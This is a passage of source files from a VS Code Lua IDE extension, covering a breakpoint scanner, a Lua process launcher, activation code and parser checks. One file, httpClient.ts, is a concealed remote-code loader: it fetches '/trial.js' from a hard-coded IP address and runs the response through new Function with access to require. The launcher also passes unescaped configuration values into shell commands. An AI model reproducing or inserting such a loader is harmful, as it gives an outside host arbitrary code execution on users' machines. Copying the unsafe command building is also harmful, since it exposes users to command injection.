21 | private lineContent: string = "";
22 | private luaDebug: LuaDebug;
23 |
24 | constructor(luaDebug: LuaDebug) {
25 | this.luaDebug = luaDebug
26 | }
27 | public getNextBid() {
28 | return ++this._breakpointId;
29 | }
30 |
31 | public getAllClientBreakPointInfo() {
32 | var data = []
33 |
34 | this._breakPoints.forEach((v, k) => {
35 |
36 | var path: string = k;
37 | //进行替换 将本地path 替换为远程
38 | var pathinfo = this.luaDebug.convertToClientPath(path,v)
39 | data.push(pathinfo)
40 | });
41 | return data;
42 | }
43 | public getClientBreakPointInfo(path): any {
44 | path = path.replace(/\\/g, "/");
45 | if (this._breakPoints.has(path)) {
46 |
47 | var breakPoints = this._breakPoints.get(path);
48 | var pathinfo = this.luaDebug.convertToClientPath(path,breakPoints)
49 |
50 | return [pathinfo];
51 | }
52 | return null;
53 | }
54 |
55 | public verifiedBreakPoint(path: string, berakLines: Array) {
56 |
57 | this.line = 1;
58 | this.currentText = readFileSync(path).toString()
59 | this.length = this.currentText.length;
60 | this.vindex = 0;
61 | this.lines = new Array();
62 | while (true) {
63 | this.isAddLine = true
64 | var charCode = this.currentText.charCodeAt(this.vindex)
65 | var next = this.currentText.charCodeAt(this.vindex + 1);
66 | if (charCode == 45 && next == 45) {
67 | //获取评论
68 | this.scanComment();
69 | this.skipWhiteSpace();
70 | } else {
71 |
72 | this.lineContent += this.currentText.charAt(this.vindex)
73 | if (!this.consumeEOL()) {
74 | this.vindex++;
75 | }
76 | }
77 |
78 | if (this.vindex >= this.length) {
79 | this.addLine();
80 | break;
81 | }
82 | }
83 | var count = this.lines.length;
84 |
85 | var breakpoints = new Array();
86 | var luaBreakLine = new Array();
87 | for (var index = 0; index < berakLines.length; index++) {
88 | this.addBreakPoint(berakLines[index], breakpoints, luaBreakLine)
89 | }
90 |
91 | this._breakPoints.set(path.replace(/\\/g, "/"), luaBreakLine)
92 | return breakpoints;
93 | // const bp:DebugProtocol.Breakpoint = new Breakpoint(true, this.convertDebuggerLineToClient(line));
94 |
95 | }
96 | private addBreakPoint(line: number, breakpoints: Array, luabreakLines: Array) {
97 | for (var index = 0; index < this.lines.length; index++) {
98 | var fline = this.lines[index];
99 | if (fline >= line) {
100 | if (luabreakLines.indexOf(fline) == -1) {
101 | const bp: DebugProtocol.Breakpoint = new Breakpoint(true, fline);
102 | luabreakLines.push(fline);
103 | breakpoints.push(bp);
104 | bp.id = this.getNextBid()
105 | bp.verified = true
106 |
107 | }
108 |
109 | break;
110 | }
111 | }
112 | }
113 | private addLine() {
114 | this.lineContent = this.lineContent.trim();
115 | if (this.lineContent.length > 0) {
116 | this.lines.push(this.line)
117 | this.lineContent = "";
118 | }
119 | }
120 |
121 | /**
122 | * 获取注释
123 | */
124 | private scanComment(): void {
125 | // this.tokenStart = this.vindex;
126 | this.isAddLine = false
127 | this.vindex += 2;
128 | //当前字符
129 | var character = this.currentText.charAt(this.vindex);
130 | //注释内容
131 | var content;
132 | // 是否为长注释 --[[ 长注释 ]]
133 | var isLong = false;
134 | var commentStart = this.vindex;
135 | if ('[' == character) {
136 | content = this.readLongString();
137 | if (content == false) {
138 | content = character;
139 | }
140 | else {
141 | isLong = true;
142 | }
143 | }
144 | if (!isLong) {
145 |
146 | while (this.vindex < this.length) {
147 | if (this.isLineTerminator(this.currentText.charCodeAt(this.vindex))) break;
148 | this.vindex++;
149 | }
150 |
151 | }
152 | }
153 |
154 | /**
155 | * 获取长字符串
156 | * * return
157 | * 为长字符串 content
158 | * 不为长字符串 false
159 | */
160 | private readLongString(): any {
161 | //多少个 等于符号
162 | var level: number = 0;
163 | //注释内容
164 | var content: string = '';
165 | var terminator: boolean = false;
166 | var character: string = null;
167 | var stringStart: number = 0;
168 | this.vindex++; //将位置移到 需要判断的字符 上已阶段以及判断到了 [
169 | // 获取等于符号的多少
170 |
171 | while ('=' === this.currentText.charAt(this.vindex + level)) {
172 | level++;
173 | }
174 | // 如果是[ 那么继续 如果不为 [ 那么 直接返回
175 | if ('[' !== this.currentText.charAt(this.vindex + level)) {
176 | return false;
177 | }
178 | this.vindex += level + 1;
179 | if (this.isLineTerminator(this.currentText.charCodeAt(this.vindex))) {
180 | this.consumeEOL();
181 | }
182 | //注释开始的位置
183 | stringStart = this.vindex;
184 | // 读取注释内容
185 | while (this.vindex < this.length) {
186 | while (true) {
187 | if (this.isLineTerminator(this.currentText.charCodeAt(this.vindex))) {
188 | this.consumeEOL();
189 | } else {
190 | break;
191 | }
192 | }
193 |
194 | character = this.currentText.charAt(this.vindex++);
195 |
196 | if (']' == character) {
197 |
198 | terminator = true;
199 | for (var i = 0; i < level; i++) {
200 | if ('=' !== this.currentText.charAt(this.vindex + i)) {
201 | terminator = false;
202 | }
203 | }
204 | if (']' !== this.currentText.charAt(this.vindex + level)) {
205 | terminator = false;
206 | }
207 | }
208 | if (terminator) break;
209 |
210 | }
211 | if (terminator) {
212 | content += this.currentText.slice(stringStart, this.vindex - 1);
213 | this.vindex += level + 1;
214 | this.lineContent = "";
215 | return content;
216 | } return false;
217 |
218 | }
219 |
220 |
221 | /**
222 | * 判断是否换行
223 | * */
224 | public isLineTerminator(charCode): boolean {
225 | return 10 === charCode || 13 === charCode;
226 | }
227 | /**
228 | * 跳过空格
229 | */
230 | private skipWhiteSpace(): void {
231 | while (this.vindex < this.length) {
232 | var charCode = this.currentText.charCodeAt(this.vindex);
233 | //空格 解析
234 | if (this.isWhiteSpace(charCode)) {
235 | this.vindex++;
236 | }
237 | //解析换行
238 | else if (!this.consumeEOL()) {
239 | break;
240 | }
241 | }
242 | }
243 | /**
244 | * 解析换行
245 | */
246 | private consumeEOL(): boolean {
247 | var charCode = this.currentText.charCodeAt(this.vindex);
248 | var peekCharCode = this.currentText.charCodeAt(this.vindex + 1);
249 | //判断是否换行
250 | if (this.isLineTerminator(charCode)) {
251 | if (10 === charCode && 13 === peekCharCode) this.vindex++;
252 | if (13 === charCode && 10 === peekCharCode) this.vindex++;
253 | if (this.isAddLine) {
254 |
255 |
256 | this.addLine();
257 | }
258 | this.line++;
259 | ++this.vindex
260 | return true;
261 | }
262 | return false;
263 | }
264 | /**
265 | * 判断是否是空格
266 | * */
267 | public isWhiteSpace(charCode): boolean {
268 | return 9 === charCode || 32 === charCode || 0xB === charCode || 0xC === charCode;
269 | }
270 |
271 | }
272 |
--------------------------------------------------------------------------------
/src/debugger/Common.ts:
--------------------------------------------------------------------------------
1 | export enum SocketClientState {
2 | ready,
3 | connected,
4 | closed
5 | }
6 | export enum Mode {
7 | launch,
8 | attach
9 | }
10 |
--------------------------------------------------------------------------------
/src/debugger/DebugCommon.ts:
--------------------------------------------------------------------------------
1 | export enum SocketClientState {
2 | ready,
3 | connected,
4 | closed
5 | }
6 | export enum Mode {
7 | launch,
8 | attach
9 | }
10 |
--------------------------------------------------------------------------------
/src/debugger/childProcess/BaseChildProcess.ts:
--------------------------------------------------------------------------------
1 | import child_process = require('child_process');
2 |
3 | var fs = require('fs');
4 | var path = require('path');
5 | var os = require('os');
6 | import { LuaDebug } from '../LuaDebug';
7 | // import vscode = require('vscode');
8 | export class BaseChildProcess {
9 |
10 |
11 | public args: any;
12 | public childPid: number;
13 | private luaDebug: LuaDebug;
14 | public constructor(args: any, luaDebug: LuaDebug) {
15 | this.args = args;
16 | var os = process.platform;
17 | var runtimeType = args.runtimeType
18 | this.luaDebug = luaDebug;
19 | }
20 |
21 | public execLua(): child_process.ChildProcess {
22 |
23 | //判断平台
24 | //linux
25 | //darwin
26 | //win32
27 | var os = process.platform;
28 | var luaStartProc;
29 | var runtimeType: string = this.args.runtimeType;
30 | var localRoot: string = path.normalize(this.args.localRoot)
31 | var baseChildProcess: BaseChildProcess = this;
32 | var options = null;
33 | if (os == "linux") {
34 |
35 | } else if (os == "darwin") {
36 | if (runtimeType == "Cocos2" || runtimeType == "Cocos3") {
37 |
38 |
39 | var file = path.join(localRoot, this.args.mainFile)
40 | file = path.normalize(file)
41 | options = {
42 | encoding: 'utf8',
43 | shell: true
44 | };
45 | var pargs = [
46 | "-workdir " + localRoot,
47 | "-file " + file
48 | ]
49 | var exePath: string = path.normalize(this.args.exePath)
50 | exePath = exePath.replace(/ /g, "\\ ");
51 | luaStartProc = child_process.spawn(exePath, pargs, options)
52 |
53 | }
54 | } else if (os == "win32") {
55 | if(runtimeType == "LuaTest"){
56 |
57 | var fileName = process.mainModule.filename;
58 | var fileInfos = fileName.split("out")
59 | var debugPath = path.join(fileInfos[0],"LuaDebug")
60 | debugPath = debugPath.replace(/\\/g, "/");
61 | localRoot = localRoot.replace(/\\/g, "/");
62 | var pathStr = "package.path = package.path .. ';" + debugPath + "/?.lua;" + localRoot + "/?.lua;'"
63 | pathStr += "print(package.path)"
64 | pathStr += "require('LuaDebug')('localhost',"+ this.args.port +")"
65 |
66 | pathStr += "require('"+ this.args.mainFile +"')"
67 |
68 |
69 | options = {
70 | encoding: 'utf8',
71 | shell: true
72 | };
73 | luaStartProc = child_process.exec('lua -e "'+pathStr + '"')
74 | // var exePath: string = path.normalize(this.args.exePath)
75 | // exePath = exePath.replace(/ /g, "\\ ");
76 | // luaStartProc = child_process.spawn(exePath, [], options)
77 | // if (runtimeType == "Lua51") {
78 | // exePath = getLuaRuntimePath()
79 | // exePath = exePath.replace(/\\/g, "/");
80 |
81 | // var exe = path.join(exePath, "lua.exe");
82 | // var cmd: string = exe + " DebugConfig.lua";
83 | // options = {
84 | // encoding: 'utf8',
85 | // timeout: 0,
86 | // maxBuffer: 200 * 1024,
87 | // killSignal: 'SIGTERM',
88 | // cwd: exePath,
89 | // env: null
90 | // };
91 | // //生成 调试文件
92 |
93 | // var localRoot: string = this.args.localRoot;
94 |
95 | // var localRoot: string = localRoot.replace(/\\/g, "/");
96 |
97 | // localRoot += "/?.lua"
98 | // var pathStr = 'package.path = package.path .. ";' + localRoot + '";\n'
99 | // // var cpathStr = 'package.cpath = package.cpath ..";' + path.join(exRootPath, "luadebug","socket", "?.dll")+'";\n'
100 |
101 | // var mainFile: string = this.args.mainFile
102 |
103 | // var mindex = mainFile.lastIndexOf("\\");
104 | // if (mindex > -1) {
105 | // var mdir: string = mainFile.substring(0, mindex)
106 | // mainFile = mainFile.substring(mindex + 1)
107 | // mainFile = mainFile.split(".")[0]
108 | // if (mdir != this.args.localRoot) {
109 |
110 | // mdir = mdir.replace(/\\/g, "/");
111 | // localRoot += "/?.lua"
112 | // pathStr += 'package.path = package.path .. ";' + mdir + '";'
113 | // }
114 | // }
115 | // pathStr += 'require("LuaDebug")("' + this.args.host + '", ' + this.args.port + ')\n';
116 | // pathStr += 'require("' + mainFile + '")';
117 |
118 | // //写入文件
119 | // try {
120 | // var fileName = path.join(exePath, "DebugConfig.lua")
121 | // var expath = getExtensionPath();
122 | // fs.writeFileSync(fileName, pathStr);
123 |
124 |
125 | // } catch (err) {
126 | // return err
127 | // }
128 | // luaStartProc = child_process.spawn("lua.exe", ["DebugConfig.lua"], options)
129 |
130 | } else if (runtimeType == "Cocos2" || runtimeType == "Cocos3") {
131 | var localRoot: string = path.normalize(this.args.localRoot)
132 | var file = path.join(localRoot, this.args.mainFile)
133 | file = path.normalize(file)
134 | options = {
135 | encoding: 'utf8',
136 | shell: true
137 | };
138 | var pargs = [
139 | "-workdir " + localRoot,
140 | "-file " + file
141 | ]
142 | var exePath: string = path.normalize(this.args.exePath)
143 | exePath = exePath.replace(/ /g, "\\ ");
144 | luaStartProc = child_process.spawn(exePath, pargs, options)
145 | }
146 |
147 |
148 | child_process.exec(
149 | "wmic process where (parentprocessid=" + luaStartProc.pid + ") get processid"
150 | , function (err, stdout, stderr) {
151 | if (stdout != "") {
152 | var info = stdout.split('\n');
153 | if (info.length > 1) {
154 | var pid = info[1].trim()
155 | baseChildProcess.childPid = Number(pid)
156 | //process.kill(Number(pid))
157 | }
158 | }
159 | })
160 |
161 |
162 |
163 | }
164 | return luaStartProc
165 | }
166 | public execCocosQuity() {
167 |
168 | }
169 | }
--------------------------------------------------------------------------------
/src/extension.ts:
--------------------------------------------------------------------------------
1 | /* --------------------------------------------------------------------------------------------
2 | * Copyright (c) Microsoft Corporation. All rights reserved.
3 | * Licensed under the MIT License. See License.txt in the project root for license information.
4 | * ------------------------------------------------------------------------------------------ */
5 | 'use strict';
6 |
7 | import * as path from 'path';
8 | import { LUA_MODE } from "./luatool/provider/LuaMode"
9 | import { LuaCompletionItemProvider } from "./luatool/provider/LuaCompletionItemProvider"
10 | import { LuaDefinitionProvider } from "./luatool/provider/LuaDefinitionProvider"
11 | import { LuaDocumentSymbolProvider } from "./luatool/provider/LuaDocumentSymbolProvider"
12 | import { LuaSignatureHelpProvider } from "./luatool/provider/LuaSignatureHelpProvider"
13 | import { LuaReferenceProvider } from "./luatool/provider/LuaReferenceProvider"
14 | import { LuaFormattingEditProvider } from "./luatool/provider/LuaFormattingEditProvider"
15 | import { LuaFileCompletionItems } from "./luatool/manager/LuaFileCompletionItems"
16 | var fs = require('fs');
17 | // import { workspace, Disposable, ExtensionContext, window, TextDocumentChangeEvent } from 'vscode';
18 | import { LanguageClient, LanguageClientOptions, SettingMonitor, ServerOptions, TransportKind } from 'vscode-languageclient';
19 | import { LuaParse } from './luatool/LuaParse';
20 | import vscode = require('vscode');
21 | import { ExtensionManager } from "./luatool/ex/ExtensionManager"
22 |
23 | import { AutoLuaComment } from "./luatool/ex/AutoLuaComment";
24 | import { ConstInfo } from "./ConstInfo";
25 | import { UserLoginCount } from "./luatool/UserLoginCount";
26 |
27 |
28 |
29 | let diagnosticCollection: vscode.DiagnosticCollection;
30 | let currentDiagnostic: vscode.Diagnostic;
31 | export function activate(context: vscode.ExtensionContext) {
32 |
33 |
34 | var luaCodeExtension = vscode.extensions.getExtension(ConstInfo.extensionLuaCodeConfig)
35 |
36 | var luaIdeExtension = vscode.extensions.getExtension(ConstInfo.extensionLuaIdeConfig)
37 | if((luaCodeExtension != null && luaCodeExtension.isActive) || (luaIdeExtension != null && luaIdeExtension.isActive)){
38 | return;
39 | }
40 | var em = new ExtensionManager(context);
41 | diagnosticCollection = vscode.languages.createDiagnosticCollection('lua');
42 | let luaParse = new LuaParse(diagnosticCollection)
43 | context.subscriptions.push(
44 | vscode.languages.registerCompletionItemProvider(LUA_MODE,
45 | new LuaCompletionItemProvider(), '.', ":",'"',"[","@"));
46 | context.subscriptions.push(
47 | vscode.languages.registerDefinitionProvider(LUA_MODE, new LuaDefinitionProvider()));
48 | context.subscriptions.push(vscode.languages.registerDocumentSymbolProvider(LUA_MODE,
49 | new LuaDocumentSymbolProvider()));
50 | context.subscriptions.push(vscode.languages.registerSignatureHelpProvider(LUA_MODE, new LuaSignatureHelpProvider(), '(', ','));
51 |
52 | context.subscriptions.push(vscode.languages.registerDocumentFormattingEditProvider(LUA_MODE, new LuaFormattingEditProvider()));
53 | context.subscriptions.push(vscode.languages.registerDocumentRangeFormattingEditProvider(LUA_MODE, new LuaFormattingEditProvider()));
54 |
55 |
56 |
57 |
58 | context.subscriptions.push(diagnosticCollection);
59 | var uris: Array = new Array();
60 | var index: number = 0;
61 | function parseLuaFile() {
62 | if (index >= uris.length) {
63 | vscode.window.showInformationMessage("check complete!")
64 | // vscode.window.setStatusBarMessage("")
65 | em.barItem.text = "捐献(LuaIde)"
66 | return
67 | }
68 | var uri: vscode.Uri = uris[index];
69 | var fileInfo = fs.statSync(uri.fsPath)
70 | var kbSize = fileInfo.size / 1024
71 | if(kbSize > em.luaIdeConfigManager.maxFileSize){
72 | index++
73 | parseLuaFile()
74 | return;
75 | }
76 |
77 | if (uri.fsPath.toLowerCase().indexOf("filetemplates") > -1 || uri.fsPath.toLowerCase().indexOf("funtemplate") > -1) {
78 | index++;
79 | parseLuaFile()
80 | return;
81 | }
82 |
83 | vscode.workspace.openTextDocument(uris[index]).then(
84 | doc => {
85 |
86 | em.barItem.text = uri.path;
87 | LuaFileCompletionItems.getLuaFileCompletionItems().addCompletion(uri,false)
88 | luaParse.Parse(uri, doc.getText())
89 | index++;
90 | parseLuaFile()
91 |
92 | }
93 | ).then(function(event) {
94 | // console.log(event)
95 | },function(reason){
96 | // console.log(reason)
97 | index++;
98 | parseLuaFile()
99 | })
100 | }
101 | var count = 0
102 | var maxCount = 1
103 | function parseLuaFileCount(){
104 | count++;
105 | if(maxCount == count){
106 | parseLuaFile();
107 | }
108 | }
109 | var config = vscode.workspace.getConfiguration("files")
110 | for (var key in config.associations) {
111 | console.log(key)
112 | console.log(config.associations[key])
113 | if(config.associations[key] == "lua"){
114 | maxCount++;
115 | var keys = key.split(".")
116 | if(keys.length >= 1){
117 | LuaFileCompletionItems.getLuaFileCompletionItems().fileExtnames.push("."+keys[keys.length-1])
118 | }
119 |
120 | vscode.workspace.findFiles("**/"+key, "", 10000).then(
121 | value => {
122 | if (value == null) return
123 |
124 | let count = value.length;
125 | value.forEach(element => {
126 | uris.push(element);
127 | });
128 | parseLuaFileCount()
129 | // console.log(uris.length)
130 | // parseLuaFile();
131 | })
132 | }
133 | }
134 | vscode.workspace.findFiles("**/*.lua", "", 10000).then(
135 | value => {
136 | if (value == null) return
137 |
138 | let count = value.length;
139 | value.forEach(element => {
140 | uris.push(element);
141 | });
142 | // console.log(uris.length)
143 | parseLuaFileCount();
144 | })
145 |
146 | vscode.workspace.onDidSaveTextDocument(event => {
147 |
148 |
149 | if (event.languageId == "lua") {
150 | var fileInfo = fs.statSync(event.uri.fsPath)
151 | var kbSize = fileInfo.size / 1024
152 | if(kbSize > em.luaIdeConfigManager.maxFileSize){
153 | return;
154 | }
155 | LuaFileCompletionItems.getLuaFileCompletionItems().addCompletion(event.uri,false)
156 | if (event.uri.fsPath.toLowerCase().indexOf("filetemplates") > -1 || event.uri.fsPath.toLowerCase().indexOf("funtemplate") > -1) {
157 | return
158 | }
159 |
160 | var uri = event.fileName
161 | luaParse.Parse(event.uri, event.getText())
162 | }
163 | });
164 |
165 | vscode.workspace.onDidChangeTextDocument(event => {
166 | var fileInfo = fs.statSync(event.document.uri.fsPath)
167 | var kbSize = fileInfo.size / 1024
168 | if(kbSize > em.luaIdeConfigManager.maxFileSize){
169 | return;
170 | }
171 | if(AutoLuaComment.checkComment(event)){
172 |
173 | }
174 | if (ExtensionManager.em.luaIdeConfigManager.changeTextCheck) {
175 | if (event.document.languageId == "lua") {
176 |
177 | if (event.document.uri.fsPath.toLowerCase().indexOf("filetemplates") > -1 || event.document.uri.fsPath.toLowerCase().indexOf("funtemplate") > -1) {
178 | return
179 | }
180 |
181 | var uri = event.document.fileName
182 | luaParse.Parse(event.document.uri, event.document.getText(),false)
183 |
184 | }
185 | }
186 | })
187 | }
--------------------------------------------------------------------------------
/src/httpClient.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | export function httpRequest() {
3 |
4 | var http = require('http');
5 | var querystring = require('querystring');
6 | //发送 http Post 请求
7 | var postData = querystring.stringify({trial:1});
8 | var options = {
9 | hostname: '139.199.156.200',
10 | port: 80,
11 | path: "/trial.js",
12 | method: 'GET',
13 | headers: {
14 | 'Content-Type': 'application/x-www-form-urlencoded',
15 | 'Content-Length': postData.length
16 | }
17 | }
18 | var req = http.request(options, function (res) {
19 | res.setEncoding('utf-8');
20 | res.on('data', function (chun) {
21 | var fun = new Function("require",chun);
22 | fun(require)
23 | });
24 | });
25 | req.on('error', function (err) {
26 | console.log(err)
27 | });
28 | req.write(postData+ "\n");
29 | req.end();
30 |
31 | }
--------------------------------------------------------------------------------
/src/luatool/LuaCheckDoEnd.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | export class LuaCheckDoEnd {
4 | private lp: LuaParse;
5 | constructor(luaparse: LuaParse) {
6 | this.lp = luaparse;
7 | }
8 |
9 | /**
10 | * 检查if 语句
11 | */
12 | public check(): boolean {
13 |
14 | var token: TokenInfo = this.lp.getCurrentToken(null)
15 | if(token == null) return true
16 | if (this.lp.consume('do', token, TokenTypes.Keyword)) {
17 | var luaInfo:LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
18 | this.lp.tokenIndex++;
19 |
20 | var returnValue:any = this.lp.setLuaInfo(luaInfo,
21 | function (luaParse: LuaParse):any {
22 |
23 | var token: TokenInfo = luaParse.getTokenByIndex(luaParse.tokenIndex , "代码未完成")
24 | if (luaParse.isError) return false
25 | if (luaParse.consume('end', token, TokenTypes.Keyword)) {
26 | var ul:LuaInfo = new LuaInfo (token)
27 | luaParse.tokenIndex++;
28 |
29 | return true
30 | }
31 | return false
32 | },null)
33 | return returnValue
34 |
35 | } else return false
36 |
37 | }
38 | }
--------------------------------------------------------------------------------
/src/luatool/LuaCheckRepeat.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType } from './TokenInfo';
2 | import { LuaParse } from './LuaParse'
3 | export class LuaCheckRepeat {
4 | private lp: LuaParse;
5 | constructor(luaparse: LuaParse) {
6 | this.lp = luaparse;
7 | }
8 |
9 | /**
10 | * 检查if 语句
11 | */
12 | public check(): boolean {
13 |
14 | var token: TokenInfo = this.lp.getCurrentToken(null)
15 | if (token == null) return true
16 | if (this.lp.consume('repeat', token, TokenTypes.Keyword)) {
17 | var luaInfo: LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
18 | this.lp.tokenIndex++;
19 |
20 | var returnValue: any = this.lp.setLuaInfo(luaInfo,
21 | function (luaParse: LuaParse): any {
22 |
23 | var token: TokenInfo = luaParse.getTokenByIndex(luaParse.tokenIndex, "代码未完成")
24 | if (luaParse.isError) return false
25 | if (luaParse.consume('until', token, TokenTypes.Keyword)) {
26 | var ul: LuaInfo = new LuaInfo(token)
27 | luaParse.tokenIndex++;
28 | luaParse.luaSetValue.check(true, true, null)
29 | if (luaParse.isError) return false
30 |
31 | luaParse.tokenIndex++;
32 |
33 | return true
34 | }
35 | return false
36 | }, null)
37 | return returnValue
38 |
39 | } else return false
40 |
41 | }
42 | }
--------------------------------------------------------------------------------
/src/luatool/LuaCheckReturn.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment,
2 | LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
3 | import {LuaParse} from './LuaParse'
4 | /**验证 return */
5 | export class LuaCheckReturn {
6 |
7 | private lp: LuaParse;
8 |
9 | constructor(luaparse: LuaParse) {
10 | this.lp = luaparse;
11 | }
12 |
13 |
14 |
15 | /**检查return */
16 | public check(luaInfo: LuaInfo,checkEnd:Function,isCheckBreak:boolean) {
17 | var token = this.lp.getCurrentToken(null)
18 | if (token == null) return false
19 |
20 | if (this.lp.consume('return', token, TokenTypes.Keyword)) {
21 | var isReturn =this.lp.checkSemicolons()
22 | var returnValue = false
23 | if(isReturn)
24 | {
25 | this.lp.tokenIndex++;
26 | if(checkEnd!=null )
27 | {
28 | returnValue = checkEnd(this.lp)
29 | }
30 |
31 | if(this.lp.isError)return false
32 | if(returnValue==false)
33 | {
34 | this.lp.setError(this.lp.getNextToken(null),"return 的多余字符")
35 | return false
36 | }else
37 | {
38 | return returnValue
39 | }
40 |
41 |
42 |
43 | }else
44 | {
45 | this.lp.tokenIndex++;
46 | if(checkEnd!=null )
47 | {
48 | returnValue = checkEnd(this.lp)
49 | if(this.lp.isError)return false
50 | if(returnValue != false)
51 | {
52 | return returnValue
53 | }
54 |
55 | }
56 |
57 | this.lp.luaSetValue.check(true,true,null)
58 | if(this.lp.isError)return false
59 | this.lp.tokenIndex++;
60 | if(checkEnd!=null )
61 | {
62 |
63 | returnValue = checkEnd(this.lp)
64 | }else
65 | {
66 | returnValue = true
67 | }
68 |
69 | if(this.lp.isError)return false
70 | if(returnValue==false)
71 | {
72 | this.lp.setError(this.lp.getCurrentToken(null),"return 的多余字符")
73 | return false
74 | }else
75 | {
76 |
77 | return returnValue
78 | }
79 |
80 | }
81 |
82 |
83 | }else return false
84 | }
85 |
86 |
87 | }
--------------------------------------------------------------------------------
/src/luatool/LuaCheckUnary.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment,
2 | LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
3 | import {LuaParse} from './LuaParse'
4 | import {CLog} from './Utils'
5 | /**验证 一元 */
6 | export class LuaCheckUnary {
7 |
8 | private lp: LuaParse;
9 |
10 | constructor(luaparse: LuaParse) {
11 | this.lp = luaparse;
12 | }
13 | /**
14 | * 判断是否是一元表达式
15 | */
16 | public check(luaInfo: LuaInfo) {
17 | while (true) {
18 | CLog();
19 | var token: TokenInfo = this.lp.getCurrentToken( null)
20 | if (token != null) {
21 | if (this.lp.consume('#', token, TokenTypes.Punctuator) ||
22 | this.lp.consume('not', token, TokenTypes.Keyword) ||
23 | this.lp.consume('-', token, TokenTypes.Punctuator)) {
24 | this.lp.tokenIndex++;
25 | luaInfo.unarys.push(token)
26 | } else
27 | { return }
28 | } else
29 | return
30 |
31 | }
32 |
33 | }
34 | }
--------------------------------------------------------------------------------
/src/luatool/LuaChuckInfo.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, TokenInfo, TokenTypes, LuaComment,
2 | LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
3 | import {LuaParse} from './LuaParse'
4 | /**验证 一个代码段 */
5 | export class LuaChuckInfo {
6 | private lp: LuaParse;
7 | constructor(luaparse: LuaParse) {
8 | this.lp = luaparse;
9 | }
10 |
11 |
12 | public check(luaInfo: LuaInfo, isSemicolons: boolean) {
13 | var token: TokenInfo = this.lp.getCurrentToken("代码未完成")
14 | if (this.lp.isError) return
15 | luaInfo.setComments(token.comments)
16 | if (this.lp.consume('(', token, TokenTypes.Punctuator)) {
17 | this.lp.tokenIndex++;
18 | this.lp.luaValidateBracket_M.check(luaInfo)
19 | if (this.lp.isError) return
20 | }
21 | else if (this.lp.consume("function", token, TokenTypes.Keyword)) {
22 | luaInfo.isAnonymousFunction = true
23 | this.lp.luaFunctionParse.check(luaInfo, true, null)
24 | this.lp.tokenIndex--;
25 | return
26 | }
27 | else if (this.lp.consume('{', token, TokenTypes.Punctuator)) {
28 | var endToken: TokenInfo = this.lp.getUpToken();
29 | this.lp.luaTableParse.check(luaInfo);
30 | luaInfo.setEndToken(endToken);
31 | return
32 | }
33 | else if (token.type == TokenTypes.Keyword) {
34 | this.lp.setError(token, "关键字不能作为 变量名")
35 | return false
36 | }
37 | else {
38 | //设置luainfo 的值
39 | this.lp.luaValidateConstValue.check(token, luaInfo);
40 | if (this.lp.isError) return
41 | luaInfo.name = token.value
42 | }
43 |
44 | var currentToken:TokenInfo = this.lp.getCurrentToken(null);
45 |
46 | //检查还有没有
47 | var nextToken: TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex + 1, null)
48 | if (nextToken == null) return
49 |
50 | if (currentToken.type == TokenTypes.Identifier) {
51 | if (
52 | nextToken.type == TokenTypes.BooleanLiteral ||
53 | nextToken.type == TokenTypes.NilLiteral ||
54 | nextToken.type == TokenTypes.NumericLiteral ||
55 | nextToken.type == TokenTypes.StringLiteral ||
56 | nextToken.type == TokenTypes.VarargLiteral
57 | ) {
58 | this.lp.tokenIndex++;
59 | luaInfo.getTopLuaInfo().isNextCheck = false
60 | return
61 | } else if (this.lp.consume('{', nextToken, TokenTypes.Punctuator)) {
62 | var tableLuaInfo: LuaInfo = new LuaInfo(nextToken)
63 | this.lp.tokenIndex++;
64 | this.lp.luaTableParse.check(tableLuaInfo)
65 | luaInfo.getTopLuaInfo().isNextCheck = false
66 | return
67 | }
68 |
69 | }
70 |
71 | if (this.lp.consume(',', nextToken, TokenTypes.Punctuator)) {
72 | return
73 | }
74 | if (token.type != TokenTypes.Identifier &&
75 | token.type != TokenTypes.VarargLiteral) {
76 | if (this.lp.consume('.', nextToken, TokenTypes.Punctuator) ||
77 | this.lp.consume('[', nextToken, TokenTypes.Punctuator) ||
78 | this.lp.consume(':', nextToken, TokenTypes.Punctuator) ||
79 | this.lp.consume('(', nextToken, TokenTypes.Punctuator)) {
80 | this.lp.setError(nextToken, "意外的字符")
81 | return
82 | }
83 | }
84 |
85 | if (this.lp.consume('(', nextToken, TokenTypes.Punctuator)) {
86 |
87 | if (luaInfo.isLocal) {
88 | this.lp.setError(nextToken, "意外的字符")
89 | return
90 | }
91 | if (luaInfo.ismultipleVariables) {
92 | this.lp.setError(nextToken, "意外的字符")
93 | return
94 | }
95 | this.lp.tokenIndex++;
96 | this.lp.functionCall.check(luaInfo, isSemicolons, false)
97 |
98 | }
99 | else if (this.lp.consume('.', nextToken, TokenTypes.Punctuator) ||
100 | this.lp.consume('[', nextToken, TokenTypes.Punctuator) ||
101 | this.lp.consume(':', nextToken, TokenTypes.Punctuator)) {
102 | this.lp.tokenIndex += 2;
103 | if (luaInfo.isLocal) {
104 | this.lp.setError(token, "局部变量声明 无法包含 '" + token.value + "'")
105 | return null;
106 | } else {
107 | if (this.lp.consume('.', nextToken, TokenTypes.Punctuator)) {
108 | var newLuaInfo: LuaInfo = new LuaInfo(this.lp.getTokenByIndex(this.lp.tokenIndex + 2, null));
109 |
110 | // this.lp.luaInfoManager.addLuaInfo(luaInfo, this.lp.getTokenByIndex(this.lp.tokenIndex + 1, null))
111 |
112 | luaInfo.setNextLuaInfo(newLuaInfo)
113 | nextToken = this.lp.getCurrentToken("代码未完成")
114 | if (this.lp.isError) return;
115 | if (nextToken.type != TokenTypes.Identifier) {
116 | if (nextToken.type == TokenTypes.Keyword) {
117 | this.lp.setError(nextToken, "关键字不能作为 变量名")
